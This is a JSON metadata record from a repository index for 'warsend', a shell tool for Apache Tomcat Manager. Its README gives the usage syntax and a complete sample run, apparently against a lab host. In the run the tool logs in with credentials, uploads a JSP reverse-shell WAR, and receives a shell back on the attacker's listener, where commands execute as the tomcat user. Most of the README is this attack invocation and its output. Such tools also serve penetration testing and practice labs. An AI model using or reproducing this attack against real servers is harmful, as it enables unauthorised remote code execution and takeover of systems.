{"id":20441520,"url":"https://github.com/thewhiteh4t/warsend","last_synced_at":"2025-04-12T23:30:44.815Z","repository":{"id":99673053,"uuid":"278441146","full_name":"thewhiteh4t/warsend","owner":"thewhiteh4t","description":"Apache Tomcat Manager API WAR Shell Upload ","archived":false,"fork":false,"pushed_at":"2020-07-09T19:12:29.000Z","size":3,"stargazers_count":33,"open_issues_count":0,"forks_count":6,"subscribers_count":4,"default_branch":"master","last_synced_at":"2025-03-26T17:41:42.906Z","etag":null,"topics":["apache","exploit","reverse-shell","shell","thewhiteh4t","tomcat","war"],"latest_commit_sha":null,"homepage":"","language":"Shell","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/thewhiteh4t.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2020-07-09T18:28:27.000Z","updated_at":"2025-03-13T17:47:52.000Z","dependencies_parsed_at":"2023-05-04T05:17:41.075Z","dependency_job_id":null,"html_url":"https://github.com/thewhiteh4t/warsend","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/thewhiteh4t%2Fwarsend","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/thewhiteh4t%2Fwarsend/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/thewhiteh4t%2Fwarsend/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/thewhiteh4t%2Fwarsend/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/thewhiteh4t","download_url":"https://codeload.github.com/thewhiteh4t/warsend/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":248647258,"owners_count":21139081,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["apache","exploit","reverse-shell","shell","thewhiteh4t","tomcat","war"],"created_at":"2024-11-15T09:33:26.031Z","updated_at":"2025-04-12T23:30:44.806Z","avatar_url":"https://github.com/thewhiteh4t.png","language":"Shell","funding_links":[],"categories":[],"sub_categories":[],"readme":"# WARSend\n\nApache Tomcat Manager API WAR Shell Upload\n\n## Prerequisites\n\n* Credentials\n* Text API Access to Tomcat Manager\n\n```bash\n$ ./warsend.sh 10.10.14.232 8090 10.10.10.184 8080 tomcat \\$3cureP4s5w0rd! revshell\n\n _       _____    ____  _____                __\n| |     / /   |  / __ \\/ ___/___  ____  ____/ /\n| | /| / / /| | / /_/ /\\__ \\/ _ \\/ __ \\/ __  /\n| |/ |/ / ___ |/ _, _/___/ /  __/ / / / /_/ /\n|__/|__/_/  |_/_/ |_|/____/\\___/_/ /_/\\__,_/\n\n[\u003e] Created By : thewhiteh4t\n[\u003e] Version    : 1.0.0\n\n[+] LHOST                  : 10.10.14.232\n[+] LPORT                  : 8090\n[+] RHOST                  : 10.10.10.184\n[+] RPORT                  : 8080\n[+] Username               : tomcat\n[+] Password               : $3cureP4s5w0rd!\n[+] Reverse Shell Filename : revshell\n[+] Payload                : java/jsp_shell_reverse_tcp\n\n[!] Checking Dependencies...\n\n[!] Testing Tomcat Manager Text API Access...\n\n[+] Login Successful!\n\n[+] Generating WAR Reverse Shell...\nPayload size: 1102 bytes\nFinal size of war file: 1102 bytes\n\n[!] Uploading WAR File...\nOK - Deployed application at context path [/revshell]\n\n[!] Triggering Reverse Shell...\n\n[+] Starting Listener...\nConnection from 10.10.10.184:41948\nid\nuid=997(tomcat) gid=997(tomcat) groups=997(tomcat)\nwhoami\ntomcat\nexit\n\n[!] Cleaning Up...\nOK - Undeployed application at context path [/revshell]\n```\n\n## Tested on\n\n* Apache Tomcat 9\n\n## Usage\n\n```bash\n* All Values are Required *\n* Input Filename Without File Extension *\n\n./warsend.sh LHOST LPORT RHOST RPORT Username Password Filename\n\nExample : ./warsend.sh 10.10.13.37 1337 10.10.10.184 8080 tomcat tomcat revshell\n```","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fthewhiteh4t%2Fwarsend","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fthewhiteh4t%2Fwarsend","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fthewhiteh4t%2Fwarsend/lists"}